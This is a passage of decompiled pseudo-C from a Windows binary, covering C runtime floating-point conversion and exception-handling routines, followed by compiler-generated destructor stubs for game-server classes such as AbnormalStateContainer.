*)&x->ld12[8]); } //----- (00589AE8) -------------------------------------------------------- void __cdecl __shl_12(_LDBL12 *p) { unsigned int v1; // esi@1 unsigned int v2; // edi@1 int v3; // ecx@1 v1 = *(_DWORD *)&p->ld12[0]; v2 = *(_DWORD *)&p->ld12[4]; *(_DWORD *)&p->ld12[0] *= 2; v3 = (v2 >> 31) | 2 * *(_DWORD *)&p->ld12[8]; *(_DWORD *)&p->ld12[4] = (v1 >> 31) | 2 * v2; *(_DWORD *)&p->ld12[8] = v3; } //----- (00589B16) -------------------------------------------------------- void __cdecl __shr_12(_LDBL12 *p) { unsigned int v1; // edx@1 unsigned int v2; // ecx@1 int v3; // ecx@1 v1 = *(_DWORD *)&p->ld12[8]; v2 = *(_DWORD *)&p->ld12[4]; *(_DWORD *)&p->ld12[4] = (*(_DWORD *)&p->ld12[8] << 31) | (v2 >> 1); v3 = (v2 << 31) | (*(_DWORD *)&p->ld12[0] >> 1); *(_DWORD *)&p->ld12[8] = v1 >> 1; *(_DWORD *)&p->ld12[0] = v3; } //----- (00589B43) -------------------------------------------------------- void __cdecl __mtold12(char *manptr, unsigned int manlen, _LDBL12 *ld12) { _LDBL12 *v3; // ebx@1 int v4; // edx@1 int v5; // eax@3 int v6; // edi@6 int v7; // eax@6 signed int expn; // [sp+Ch] [bp-14h]@1 _LDBL12 tmp; // [sp+10h] [bp-10h]@3 unsigned int ld12a; // [sp+30h] [bp+10h]@2 v3 = ld12; v4 = 0; expn = 16462; *(_DWORD *)&ld12->ld12[0] = 0; *(_DWORD *)&ld12->ld12[4] = 0; *(_DWORD *)&ld12->ld12[8] = 0; if ( manlen ) { ld12a = manlen; do { *(_DWORD *)&tmp.ld12[0] = *(_DWORD *)&v3->ld12[0]; *(_DWORD *)&tmp.ld12[4] = *(_DWORD *)&v3->ld12[4]; *(_DWORD *)&tmp.ld12[8] = *(_DWORD *)&v3->ld12[8]; __shl_12(v3); __shl_12(v3); __add_12(v3, &tmp); __shl_12(v3); v5 = *manptr; *(_DWORD *)&tmp.ld12[4] = 0; *(_DWORD *)&tmp.ld12[8] = 0; *(_DWORD *)&tmp.ld12[0] = v5; __add_12(v3, &tmp); ++manptr; --ld12a; } while ( ld12a ); v4 = 0; } if ( *(_DWORD *)&v3->ld12[8] == v4 ) { do { expn += 65520; v6 = *(_DWORD *)&v3->ld12[4] >> 16; v7 = *(_DWORD *)&v3->ld12[0] << 16; *(_DWORD *)&v3->ld12[4] = *(_QWORD *)&v3->ld12[0] >> 16; *(_DWORD *)&v3->ld12[0] = v7; } while ( v6 == v4 ); *(_DWORD *)&v3->ld12[8] = v6; } while ( !(*(_DWORD *)&v3->ld12[8] & 0x8000) ) { __shl_12(v3); expn += 65535; } *(_WORD *)&v3->ld12[10] = expn; } //----- (00589C21) -------------------------------------------------------- int __cdecl _I10_OUTPUT(_LDOUBLE ld, int ndigits, unsigned int output_flags, _FloatOutStruct *fos) { unsigned __int16 v4; // dx@1 unsigned int v5; // ecx@23 int v6; // esi@23 int v7; // edi@25 int v8; // esi@30 int v9; // esi@33 char *v10; // eax@35 char *v11; // ecx@37 bool v12; // zf@37 int v13; // eax@39 char v14; // cl@39 int v15; // eax@39 bool v16; // sf@39 unsigned __int8 v17; // of@39 char *v18; // ecx@39 char v19; // al@47 const char *v21; // [sp-4h] [bp-40h]@11 const char *v22; // [sp-4h] [bp-40h]@15 char *p; // [sp+Ch] [bp-30h]@35 int retval; // [sp+10h] [bp-2Ch]@1 _LDBL12 tmp12; // [sp+14h] [bp-28h]@37 _LDBL12 ld12_one_tenth; // [sp+20h] [bp-1Ch]@1 _LDBL12 ld12; // [sp+2Ch] [bp-10h]@23 signed int ld_8; // [sp+4Ch] [bp+10h]@30 int ld_8a; // [sp+4Ch] [bp+10h]@36 ld12_one_tenth.ld12[0] = -52; ld12_one_tenth.ld12[1] = -52; ld12_one_tenth.ld12[2] = -52; ld12_one_tenth.ld12[3] = -52; ld12_one_tenth.ld12[4] = -52; ld12_one_tenth.ld12[5] = -52; ld12_one_tenth.ld12[6] = -52; ld12_one_tenth.ld12[7] = -52; ld12_one_tenth.ld12[8] = -52; ld12_one_tenth.ld12[9] = -52; ld12_one_tenth.ld12[10] = -5; ld12_one_tenth.ld12[11] = 63; retval = 1; v4 = *(_WORD *)&ld.ld[8] & 0x7FFF; if ( *(_WORD *)&ld.ld[8] & 0x8000 ) fos->sign = 45; else fos->sign = 32; if ( v4 || *(_DWORD *)&ld.ld[4] || *(_DWORD *)&ld ) { if ( v4 == 32767 ) { fos->exp = 1; if ( (*(_DWORD *)&ld.ld[4] != -2147483648 || *(_DWORD *)&ld) && !(*(_DWORD *)&ld.ld[4] & 0x40000000) ) { v21 = "1#SNAN"; LABEL_22: strcpy(fos->man, v21); fos->ManLen = 6; return 0; } if ( *(_WORD *)&ld.ld[8] & 0x8000 && *(_DWORD *)&ld.ld[4] == -1073741824 ) { if ( !*(_DWORD *)&ld ) { v22 = "1#IND"; LABEL_19: strcpy(fos->man, v22); fos->ManLen = 5; return 0; } } else { if ( *(_DWORD *)&ld.ld[4] == -2147483648 && !*(_DWORD *)&ld ) { v22 = "1#INF"; goto LABEL_19; } } v21 = "1#QNAN"; goto LABEL_22; } *(_WORD *)&ld12.ld12[0] = 0; v5 = 77 * (((unsigned int)v4 >> 8) + 2 * (*(_DWORD *)&ld.ld[4] >> 24)); *(_DWORD *)&ld12.ld12[2] = *(_DWORD *)&ld; v6 = (signed int)(v5 + 19728 * v4 - 323162868) >> 16; *(_WORD *)&ld12.ld12[10] = *(_WORD *)&ld.ld[8] & 0x7FFF; *(_DWORD *)&ld12.ld12[6] = *(_DWORD *)&ld.ld[4]; __multtenpow12(&ld12, -(signed __int16)((v5 + 19728 * v4 - 323162868) >> 16), 1u); if ( *(_WORD *)&ld12.ld12[10] >= 0x3FFFu ) { LOWORD(v6) = v6 + 1; __ld12mul(&ld12, &ld12_one_tenth); } v7 = ndigits; fos->exp = v6; if ( !(output_flags & 1) || (v7 = (signed __int16)v6 + ndigits, v7 > 0) ) { if ( v7 > 21 ) v7 = 21; v8 = *(unsigned __int16 *)&ld12.ld12[10] - 16382; *(_WORD *)&ld12.ld12[10] = 0; ld_8 = 8; do { __shl_12(&ld12); --ld_8; } while ( ld_8 ); if ( v8 < 0 ) { v9 = -v8 & 0xFF; if ( v9 > 0 ) { do { __shr_12(&ld12); --v9; } while ( v9 ); } } v10 = fos->man; p = fos->man; if ( v7 + 1 > 0 ) { ld_8a = v7 + 1; do { *(_DWORD *)&tmp12.ld12[0] = *(_DWORD *)&ld12; *(_DWORD *)&tmp12.ld12[4] = *(_DWORD *)&ld12.ld12[4]; *(_DWORD *)&tmp12.ld12[8] = *(_DWORD *)&ld12.ld12[8]; __shl_12(&ld12); __shl_12(&ld12); __add_12(&ld12, &tmp12); __shl_12(&ld12); v11 = p++; v12 = ld_8a-- == 1; *v11 = ld12.ld12[11] + 48; ld12.ld12[11] = 0; } while ( !v12 ); v10 = p; } v13 = (int)(v10 - 1); v14 = *(_BYTE *)v13; v15 = v13 - 1; v17 = __OFSUB__(v14, 53); v16 = (char)(v14 - 53) < 0; v18 = fos->man; if ( v16 ^ v17 ) { while ( v15 >= (unsigned int)v18 && *(_BYTE *)v15 == 48 ) --v15; if ( v15 < (unsigned int)v18 ) { *v18 = 48; goto LABEL_55; } } else { while ( v15 >= (unsigned int)v18 && *(_BYTE *)v15 == 57 ) *(_BYTE *)v15-- = 48; if ( v15 < (unsigned int)v18 ) { ++v15; ++fos->exp; } ++*(_BYTE *)v15; } v19 = v15 - (_BYTE)fos - 3; fos->ManLen = v19; fos->man[v19] = 0; return retval; } } fos->man[0] = 48; LABEL_55: fos->exp = 0; fos->sign = 32; fos->ManLen = 1; fos->man[1] = 0; return 1; } //----- (00589EAF) -------------------------------------------------------- void __cdecl _raise_exc(_FPIEEE_RECORD *prec, unsigned int *pcw, int flags, int opcode, long double *parg1, long double *presult) { char v6; // cl@1 unsigned int *v7; // esi@11 char v8; // al@11 int v9; // eax@21 _FPIEEE_RECORD *v10; // eax@26 int v11; // ecx@26 int v12; // eax@30 _FPIEEE_RECORD *v13; // eax@34 int v14; // ecx@34 int v15; // ecx@37 long double *v16; // edi@37 _FPIEEE_RECORD *v17; // eax@37 int v18; // ecx@47 int v19; // ecx@48 int v20; // ecx@49 int v21; // ecx@52 int v22; // ecx@56 int v23; // ecx@57 int v24; // ecx@60 prec->Cause._bf0 = 0; prec->Enable._bf0 = 0; prec->Status._bf0 = 0; v6 = flags; if ( flags & 0x10 ) { prec->Cause._bf0 |= 1u; flags = -1073741681; } if ( v6 & 2 ) { prec->Cause._bf0 |= 2u; flags = -1073741677; } if ( v6 & 1 ) { prec->Cause._bf0 |= 4u; flags = -1073741679; } if ( v6 & 4 ) { prec->Cause._bf0 |= 8u; flags = -1073741682; } if ( v6 & 8 ) { prec->Cause._bf0 |= 0x10u; flags = -1073741680; } v7 = pcw; prec->Enable._bf0 ^= (prec->Enable._bf0 ^ ~(16 * *pcw)) & 0x10; prec->Enable._bf0 ^= (prec->Enable._bf0 ^ ~(2 * *v7)) & 8; prec->Enable._bf0 ^= (prec->Enable._bf0 ^ ~(*v7 >> 1)) & 4; prec->Enable._bf0 ^= (prec->Enable._bf0 ^ ~(*v7 >> 3)) & 2; prec->Enable._bf0 ^= (prec->Enable._bf0 ^ ~(*v7 >> 5)) & 1; v8 = _statfp(); if ( v8 & 1 ) prec->Status._bf0 |= 0x10u; if ( v8 & 4 ) prec->Status._bf0 |= 8u; if ( v8 & 8 ) prec->Status._bf0 |= 4u; if ( v8 & 0x10 ) prec->Status._bf0 |= 2u; if ( v8 & 0x20 ) prec->Status._bf0 |= 1u; v9 = *v7 & 0xC00; if ( !(*v7 & 0xC00) ) { prec->_bf0 &= 0xFFFFFFFCu; goto LABEL_30; } if ( v9 == 1024 ) { v10 = prec; v11 = prec->_bf0 & 0xFFFFFFFD | 1; goto LABEL_28; } if ( v9 == 2048 ) { v10 = prec; v11 = prec->_bf0 & 0xFFFFFFFE | 2; LABEL_28: v10->_bf0 = v11; goto LABEL_30; } if ( v9 == 3072 ) prec->_bf0 |= 3u; LABEL_30: v12 = *v7 & 0x300; if ( !(*v7 & 0x300) ) { v13 = prec; v14 = prec->_bf0 & 0xFFFFFFEB | 8; goto LABEL_36; } if ( v12 == 512 ) { v13 = prec; v14 = prec->_bf0 & 0xFFFFFFE7 | 4; LABEL_36: v13->_bf0 = v14; goto LABEL_37; } if ( v12 == 768 ) prec->_bf0 &= 0xFFFFFFE3u; LABEL_37: v15 = prec->_bf0 ^ 32 * opcode; prec->_bf0 ^= v15 & 0x1FFE0; prec->Operand1._bf16 |= 1u; prec->Operand1._bf16 = prec->Operand1._bf16 & 0xFFFFFFE3 | 2; *(long double *)&prec->Operand1.Value.Fp32Value = *parg1; prec->Result._bf16 |= 1u; v16 = presult; prec->Result._bf16 = prec->Result._bf16 & 0xFFFFFFE3 | 2; *(long double *)&prec->Result.Value.Fp32Value = *v16; _clrfp(); RaiseException(flags, 0, 1u, (const ULONG_PTR *)&prec); v17 = prec; if ( prec->Enable._bf0 & 0x10 ) *v7 &= 0xFFFFFFFEu; if ( v17->Enable._bf0 & 8 ) *v7 &= 0xFFFFFFFBu; if ( v17->Enable._bf0 & 4 ) *v7 &= 0xFFFFFFF7u; if ( v17->Enable._bf0 & 2 ) *v7 &= 0xFFFFFFEFu; if ( v17->Enable._bf0 & 1 ) *v7 &= 0xFFFFFFDFu; v18 = v17->_bf0 & 3; if ( !v18 ) { *v7 &= 0xFFFFF3FFu; goto LABEL_56; } v19 = v18 - 1; if ( !v19 ) { v21 = *v7 & 0xFFFFF7FF | 0x400; goto LABEL_54; } v20 = v19 - 1; if ( !v20 ) { v21 = *v7 & 0xFFFFFBFF | 0x800; LABEL_54: *v7 = v21; goto LABEL_56; } if ( v20 == 1 ) *((_BYTE *)v7 + 1) |= 0xCu; LABEL_56: v22 = ((unsigned int)v17->_bf0 >> 2) & 7; if ( !v22 ) { v24 = *v7 & 0xFFFFF3FF | 0x300; goto LABEL_62; } v23 = v22 - 1; if ( !v23 ) { v24 = *v7 & 0xFFFFF3FF | 0x200; LABEL_62: *v7 = v24; goto LABEL_63; } if ( v23 == 1 ) *v7 &= 0xFFFFF3FFu; LABEL_63: *v16 = *(double *)&v17->Result.Value.Fp32Value; } //----- (0058A154) -------------------------------------------------------- int __cdecl _handle_exc(unsigned int flags, long double *presult, unsigned int cw) { unsigned int v3; // esi@1 unsigned int v4; // eax@9 long double *v5; // ecx@13 __int16 v6; // fps@13 double v7; // st7@13 unsigned __int8 v8; // c0@13 unsigned __int8 v9; // c3@13 __int16 v10; // fps@24 unsigned __int8 v11; // c0@24 unsigned __int8 v12; // c3@24 signed int v13; // esi@30 long double v14; // st7@33 int v15; // ecx@33 double v16; // st7@34 int v17; // edx@36 int v18; // eax@39 double result; // [sp+18h] [bp-10h]@33 int expn; // [sp+20h] [bp-8h]@33 unsigned int flags_p; // [sp+24h] [bp-4h]@1 v3 = flags & 0x1F; flags_p = flags & 0x1F; if ( flags & 8 && cw & 1 ) { _set_statfp(1u); v3 &= 0xFFFFFFF7u; goto LABEL_54; } if ( flags & 4 && cw & 4 ) { _set_statfp(4u); v3 &= 0xFFFFFFFBu; goto LABEL_54; } if ( flags & 1 && cw & 8 ) { _set_statfp(8u); v4 = cw & 0xC00; if ( cw & 0xC00 ) { if ( v4 == 1024 ) { v5 = presult; if ( *presult <= 0.0 ) v7 = -_d_inf; else v7 = _d_max; } else { if ( v4 == 2048 ) { v5 = presult; if ( *presult <= 0.0 ) v7 = -_d_max; else v7 = _d_inf; } else { if ( v4 != 3072 ) { LABEL_27: v3 &= 0xFFFFFFFEu; goto LABEL_54; } v5 = presult; v7 = _d_max; UNDEF(v6); if ( v8 | v9 ) v7 = -_d_max; } } } else { v5 = presult; v7 = _d_inf; UNDEF(v10); if ( v11 | v12 ) v7 = -_d_inf; } *(_QWORD *)v5 = *(_QWORD *)&v7; goto LABEL_27; } if ( flags & 2 && cw & 0x10 ) { v13 = 0; if ( flags & 0x10 ) v13 = 1; if ( *presult == 0.0 ) { v13 = 1; goto LABEL_51; } v14 = _decomp(*presult, &expn); result = v14; v15 = expn - 1536; if ( expn - 1536 >= -1074 ) { v17 = v14 < 0.0; WORD3(result) = BYTE6(result) & 0xF | 0x10; if ( v15 < -1021 ) { v18 = -1021 - v15; do { if ( LOBYTE(result) & 1 && !v13 ) v13 = 1; LODWORD(result) >>= 1; if ( BYTE4(result) & 1 ) BYTE3(result) |= 0x80u; HIDWORD(result) >>= 1; --v18; } while ( v18 ); } if ( !v17 ) goto LABEL_49; v16 = -result; } else { v16 = v14 * 0.0; v13 = 1; } result = v16; LABEL_49: *(_QWORD *)presult = *(_QWORD *)&result; LABEL_51: if ( v13 ) _set_statfp(0x10u); flags_p &= 0xFFFFFFFDu; v3 = flags_p; } LABEL_54: if ( flags & 0x10 && cw & 0x20 ) { _set_statfp(0x20u); v3 &= 0xFFFFFFEFu; } return v3 == 0; } //----- (0058A378) -------------------------------------------------------- void __cdecl _set_errno(int matherrtype) { if ( matherrtype == 1 ) { *_errno() = 33; } else { if ( matherrtype > 1 ) { if ( matherrtype <= 3 ) *_errno() = 34; } } } //----- (0058A3A0) -------------------------------------------------------- unsigned int __cdecl _statfp() { __int16 v0; // fps@0 return v0; } //----- (0058A3AB) -------------------------------------------------------- unsigned int __cdecl _clrfp() { __int16 v0; // fps@0 __asm { fnclex } return v0; } //----- (0058A3B7) -------------------------------------------------------- unsigned int __cdecl _ctrlfp(unsigned int newctrl, unsigned int _mask) { __int16 v2; // cx@0 return v2; } //----- (0058A3DB) -------------------------------------------------------- void __cdecl _set_statfp(unsigned int sw) { ; } //----- (0058A431) -------------------------------------------------------- void __cdecl __ld12mul(_LDBL12 *px, _LDBL12 *py) { _LDBL12 *v2; // ebx@1 __int16 v3; // cx@1 _LDBL12 *v4; // esi@1 int v5; // eax@1 __int16 v6; // di@1 int v7; // ecx@1 __int16 v8; // di@1 int v9; // eax@1 __int16 v10; // di@1 unsigned __int16 v11; // dx@1 int v12; // eax@5 int v13; // ebx@29 int v14; // eax@36 signed int v15; // [sp+Ch] [bp-28h]@19 int v16; // [sp+10h] [bp-24h]@19 int v17; // [sp+14h] [bp-20h]@19 int sticky; // [sp+18h] [bp-1Ch]@1 int i; // [sp+1Ch] [bp-18h]@17 char *v20; // [sp+20h] [bp-14h]@17 _LDBL12 tempman; // [sp+24h] [bp-10h]@1 int expsum; // [sp+3Ch] [bp+8h]@1 int expsuma; // [sp+3Ch] [bp+8h]@24 signed int pya; // [sp+40h] [bp+Ch]@17 v2 = py; v3 = *(_WORD *)&py->ld12[10]; v4 = px; sticky = 0; *(_DWORD *)&tempman.ld12[0] = 0; *(_DWORD *)&tempman.ld12[4] = 0; *(_DWORD *)&tempman.ld12[8] = 0; v5 = *(_WORD *)&px->ld12[10]; v6 = v3; v7 = v3 & 0x7FFF; v8 = v5 ^ v6; v9 = v5 & 0x7FFF; v10 = v8 & 0x8000; v11 = v7 + v9; expsum = v7 + v9; if ( (unsigned __int16)v9 < 0x7FFFu && (unsigned __int16)v7 < 0x7FFFu && v11 <= 0xBFFDu ) { if ( v11 <= 0x3FBFu ) { v12 = 0; LABEL_16: *(_DWORD *)&v4->ld12[8] = v12; *(_DWORD *)&v4->ld12[4] = v12; *(_DWORD *)&v4->ld12[0] = v12; return; } if ( (_WORD)v9 ) { v12 = 0; } else { ++expsum; v12 = 0; if ( !(*(_DWORD *)&v4->ld12[8] & 0x7FFFFFFF) && !*(_DWORD *)&v4->ld12[4] && !*(_DWORD *)&v4->ld12[0] ) goto LABEL_46; } if ( (_WORD)v7 == (_WORD)v12 ) { ++expsum; if ( !(*(_DWORD *)&py->ld12[8] & 0x7FFFFFFF) ) { if ( *(_DWORD *)&py->ld12[4] == v12 && *(_DWORD *)&py->ld12[0] == v12 ) goto LABEL_16; } } i = v12; v20 = &tempman.ld12[4]; pya = 5; do { if ( pya > 0 ) { v16 = (int)((char *)v4 + 2 * i); v17 = (int)&v2->ld12[8]; v15 = pya; do { if ( __addl(*((_DWORD *)v20 - 1), *(_WORD *)v16 * *(_WORD *)v17, (unsigned int *)v20 - 1) ) ++*(_WORD *)v20; v16 += 2; v17 -= 2; --v15; } while ( v15 ); } v20 += 2; ++i; --pya; } while ( pya > 0 ); expsuma = expsum + 49154; if ( (signed __int16)expsuma <= 0 ) goto LABEL_50; do { if ( tempman.ld12[11] & 0x80 ) break; __shl_12(&tempman); expsuma += 65535; } while ( (signed __int16)expsuma > 0 ); if ( (signed __int16)expsuma <= 0 ) { LABEL_50: expsuma += 65535; if ( (signed __int16)expsuma < 0 ) { v13 = (unsigned __int16)-(signed __int16)expsuma; expsuma += v13; do { if ( tempman.ld12[0] & 1 ) ++sticky; __shr_12(&tempman); --v13; } while ( v13 ); if ( sticky ) tempman.ld12[0] |= 1; } } if ( *(unsigned __int16 *)&tempman > 0x8000u || (v14 = *(_DWORD *)&tempman, (v14 & 0x1FFFF) == 98304) ) { if ( *(_DWORD *)&tempman.ld12[2] == -1 ) { *(_DWORD *)&tempman.ld12[2] = 0; if ( *(_DWORD *)&tempman.ld12[6] == -1 ) { *(_DWORD *)&tempman.ld12[6] = 0; if ( *(_WORD *)&tempman.ld12[10] == -1 ) { ++expsuma; *(_WORD *)&tempman.ld12[10] = -32768; } else { ++*(_WORD *)&tempman.ld12[10]; } } else { ++*(_DWORD *)&tempman.ld12[6]; } } else { ++*(_DWORD *)&tempman.ld12[2]; } } if ( (unsigned __int16)expsuma < 0x7FFFu ) { *(_WORD *)&v4->ld12[0] = *(_WORD *)&tempman.ld12[2]; *(_DWORD *)&v4->ld12[2] = *(_DWORD *)&tempman.ld12[4]; *(_DWORD *)&v4->ld12[6] = *(_DWORD *)&tempman.ld12[8]; LOWORD(v12) = v10 | expsuma; LABEL_46: *(_WORD *)&v4->ld12[10] = v12; return; } } *(_DWORD *)&v4->ld12[4] = 0; *(_DWORD *)&v4->ld12[0] = 0; *(_DWORD *)&v4->ld12[8] = v10 != 0 ? -32768 : 2147450880; } //----- (0058A663) -------------------------------------------------------- void __cdecl __multtenpow12(_LDBL12 *pld12, int pow, unsigned int mult12) { int v3; // ecx@1 char *v4; // ebx@1 char v5; // al@7 int v6; // eax@7 _LDBL12 *v7; // esi@8 int v8; // esi@9 _LDBL12 unround; // [sp+4h] [bp-10h]@9 v3 = 0; v4 = (char *)&_pow10pos - 96; if ( pow ) { if ( pow < 0 ) { pow = -pow; v4 = (char *)&_pow10neg - 96; } if ( !mult12 ) *(_WORD *)&pld12->ld12[0] = 0; if ( pow ) { do { v5 = pow; pow >>= 3; v6 = v5 & 7; v4 += 84; if ( v6 != v3 ) { v7 = (_LDBL12 *)&v4[12 * v6]; if ( *(_WORD *)&v7->ld12[0] >= 0x8000u ) { *(_DWORD *)&unround.ld12[0] = *(_DWORD *)&v7->ld12[0]; v8 = (int)&v7->ld12[4]; *(_DWORD *)&unround.ld12[4] = *(_DWORD *)v8; *(_DWORD *)&unround.ld12[8] = *(_DWORD *)(v8 + 4); --*(_DWORD *)&unround.ld12[2]; v7 = &unround; } __ld12mul(pld12, v7); v3 = 0; } } while ( pow != v3 ); } } } //----- (0058A6F0) -------------------------------------------------------- void __cdecl __ascii_strnicmp(char *first, char *last, unsigned int count) { unsigned int v3; // ecx@1 char *v4; // esi@2 char *v5; // edi@2 char v6; // ah@3 char v7; // al@3 v3 = count; if ( count ) { v4 = first; v5 = last; do { v6 = *v4; v7 = *v5; if ( !*v4 || !v7 ) break; ++v4; ++v5; if ( (unsigned __int8)v6 >= 0x41u && (unsigned __int8)v6 <= 0x5Au ) v6 += 32; if ( (unsigned __int8)v7 >= 0x41u && (unsigned __int8)v7 <= 0x5Au ) v7 += 32; if ( v6 != v7 ) break; --v3; } while ( v3 ); } } //----- (0058A751) -------------------------------------------------------- int __cdecl _setmode_lk(int fh, int mode) { int v2; // ecx@1 int v3; // eax@1 int v4; // ecx@2 int v5; // ecx@4 v2 = 36 * (fh & 0x1F); v3 = *(_BYTE *)(__pioinfo[fh >> 5] + v2 + 4) & 0x80; if ( mode == 32768 ) { v4 = __pioinfo[fh >> 5] + v2 + 4; *(_BYTE *)v4 &= 0x7Fu; return v3 != 0 ? 16384 : 32768; } if ( mode == 16384 ) { v5 = __pioinfo[fh >> 5] + v2 + 4; *(_BYTE *)v5 |= 0x80u; return v3 != 0 ? 16384 : 32768; } *_errno() = 22; return -1; } // 146D05C0: using guessed type int __pioinfo[]; //----- (0058A7E2) -------------------------------------------------------- int __cdecl filelength(int filedes) { int v1; // esi@2 int v2; // esi@4 int result; // eax@8 if ( filedes < _nhandle && (v1 = 36 * (filedes & 0x1F), *(_BYTE *)(__pioinfo[filedes >> 5] + v1 + 4) & 1) ) { _lock_fhandle(filedes); if ( *(_BYTE *)(__pioinfo[filedes >> 5] + v1 + 4) & 1 ) { v2 = _lseek_lk(filedes, 0, 1); if ( v2 != -1 ) { if ( v2 != _lseek_lk(filedes, 0, 2) ) _lseek_lk(filedes, v2, 0); } } else { *_errno() = 9; *__doserrno() = 0; } _unlock_fhandle(filedes); } else { *_errno() = 9; *__doserrno() = 0; result = -1; } return result; } // 146D05C0: using guessed type int __pioinfo[]; //----- (0058A8B6) -------------------------------------------------------- int __cdecl fileno(_iobuf *stream) { return stream->_file; } //----- (0058A8C0) -------------------------------------------------------- void __usercall _L164593(int a1) { AbnormalStateContainer::AbnormalStatePartyEnchant::_AbnormalStatePartyEnchant(*(AbnormalStateContainer::AbnormalStateCouplePartyEnchant **)(a1 - 16)); } //----- (0058A8C8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1AbnormalStateTickRoutine_AbnormalStateContainer__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058A8E0) -------------------------------------------------------- void __usercall _L172266(int a1) { AbnormalStateContainer::AbstateElementInObject::ASE_Tick::_ASE_Tick((AbnormalStateContainer::AbstateElementInObject::ASE_Tick *)(*(_DWORD *)(a1 - 16) + 20)); } //----- (0058A8EB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0AbstateElementInObject_AbnormalStateContainer__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058C717) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1AbnormalStateList_AbnormalStateContainer__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058C730) -------------------------------------------------------- void __usercall _L171108(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058C738) -------------------------------------------------------- void __usercall _L171109(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058C740) -------------------------------------------------------- void __usercall _L171110(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058C748) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_AbnormalState_BroadcastSet_ShineObject_ShineObjectClass__QAEXW4ABSTATEINDEX__HH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058C760) -------------------------------------------------------- void __usercall _L171249(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage(*(AbnormalStateContainer::SubAbnormalStateCaptivate **)(a1 - 16)); } //----- (0058C7AA) -------------------------------------------------------- void __usercall _L171256(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 28)); } //----- (0058C7B5) -------------------------------------------------------- void __usercall _L171257(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 32)); } //----- (0058C7C0) -------------------------------------------------------- void __usercall _L171258(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 36)); } //----- (0058C7CB) -------------------------------------------------------- void __usercall _L171259(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 40)); } //----- (0058C7D6) -------------------------------------------------------- void __usercall _L171260(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 44)); } //----- (0058C7E1) -------------------------------------------------------- void __usercall _L171261(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 48)); } //----- (0058C7EC) -------------------------------------------------------- void __usercall _L171262(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 52)); } //----- (0058C7F7) -------------------------------------------------------- void __usercall _L171263(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 56)); } //----- (0058C802) -------------------------------------------------------- void __usercall _L171264(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 60)); } //----- (0058C80D) -------------------------------------------------------- void __usercall _L171265(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 64)); } //----- (0058C818) -------------------------------------------------------- void __usercall _L171266(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 68)); } //----- (0058C823) -------------------------------------------------------- void __usercall _L171267(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 72)); } //----- (0058C82E) -------------------------------------------------------- void __usercall _L171268(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 76)); } //----- (0058C839) -------------------------------------------------------- void __usercall _L171269(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 80)); } //----- (0058C844) -------------------------------------------------------- void __usercall _L171270(int 